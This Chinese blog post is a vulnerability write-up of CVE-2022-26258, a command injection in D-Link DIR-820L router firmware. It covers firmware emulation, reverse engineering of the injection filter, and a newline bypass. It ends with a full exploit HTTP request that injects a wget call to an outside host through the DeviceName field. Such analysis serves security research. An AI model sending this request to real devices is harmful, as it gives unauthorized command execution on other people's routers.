技术干货丨D-Link CVE-2022-26258 命令注入

admin 2022年4月9日17:47:13评论389 views字数 2322阅读7分44秒阅读模式


I


O

T


技术干货丨D-Link CVE-2022-26258 命令注入

设备型号:D-Link DIR-820L

固件版本:1.05 B03

厂商官网:http://www.dlink.com.cn/ 

固件下载地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663

测试环境:Ubuntu 18.04CVE

编号:CVE-2022-26258


0x00.

前言


今天又是美好的一天,逛逛iotsec-zone社区的IOT安全情报,发现新更新的漏洞

技术干货丨D-Link CVE-2022-26258 命令注入



0x01.

固件模拟


将固件下载下来,移动到Ubuntu中,直接使用binwalk进行固件的解密


技术干货丨D-Link CVE-2022-26258 命令注入

可以看到固件没有进行加密,接下来我们尝试使用FirmAE进行固件模拟,上命令。

$ sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin

技术干货丨D-Link CVE-2022-26258 命令注入

看到两个true说明http服务和network都成功模拟,也就是说我们得到了一台仿真的路由器。



0x02.

逆向分析


准备工作我们已经完成了,接下来就是对固件进行分析我们不能盲目的操作,我们去look一下描述信息。


技术干货丨D-Link CVE-2022-26258 命令注入

这一下就清楚多了,在页面lan.asp下面,因为咱们已经模拟器来,先去看一下这个页面是什么页面。

技术干货丨D-Link CVE-2022-26258 命令注入

原来是网络设置页面,那么触发漏洞的点就有很多了,例如IP,name,device等,这里是设置DeviceName时触发的命令执行。

接下来上burp,抓包看看请求,分析后端。

技术干货丨D-Link CVE-2022-26258 命令注入

使用grep命令进行检索。

$ grep -r "get_set" .

技术干货丨D-Link CVE-2022-26258 命令注入

可以看到一个耳熟能详的二进制应用 ncc2,这个应用主要进行网络等底层操作相关的操作。

使用IDA进行分析根据DEVICE_NAME进行相关追踪。

技术干货丨D-Link CVE-2022-26258 命令注入

这里可以社区设备名称时通过系统命令触发执行,但是前面有个hasInjectionString,根据英文名字猜测,应该是用来判定是否有注入,我们进行跟踪。

技术干货丨D-Link CVE-2022-26258 命令注入

可以看到为导出函数,使用grep进行快速检索。

技术干货丨D-Link CVE-2022-26258 命令注入

可以看到匹配的动态链接库,针对动态链接库进行逆向分析。

技术干货丨D-Link CVE-2022-26258 命令注入

可以看到其过滤的符号。

`;'|

但是没有过滤n也就是%0a,所以我们可以使用%0a进行绕过。





0x03.

EXP


使用python启动个服务端。


技术干货丨D-Link CVE-2022-26258 命令注入

这里使用Burpsuite进行EXP的攻击,EXP如下:

POST /get_set.ccp HTTP/1.1 

Host:192.168.0.1 

Content-Length:765 

Accept: application/xml, text/xml, */*; q=0.01 

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/99.0.4844.51 Safari/537.36

Content-Type:application/x-www-form-urlencoded 

Origin:http://192.168.0.1 

Referer:http://192.168.0.1/lan.asp

Accept-Encoding: gzip, deflate 

Accept-Language: en-US,en;q=0.9 

Cookie:hasLogin=1 

Connection: close

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awgethttp://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679

技术干货丨D-Link CVE-2022-26258 命令注入

这里可以看到命令成功被执行。





0x04.

小结


通过上面的分析可以看到,虽然进行了过滤,但是过滤并不够完整,所以仍可以被绕过。


—— END ——

技术干货丨D-Link CVE-2022-26258 命令注入

官网网址:

www.xinruisec.com

社区网址:

www.iotsec-zone.com

原文始发于微信公众号(IOTsec Zone):技术干货丨D-Link CVE-2022-26258 命令注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日17:47:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术干货丨D-Link CVE-2022-26258 命令注入https://cn-sec.com/archives/891343.html

发表评论

匿名网友 填写信息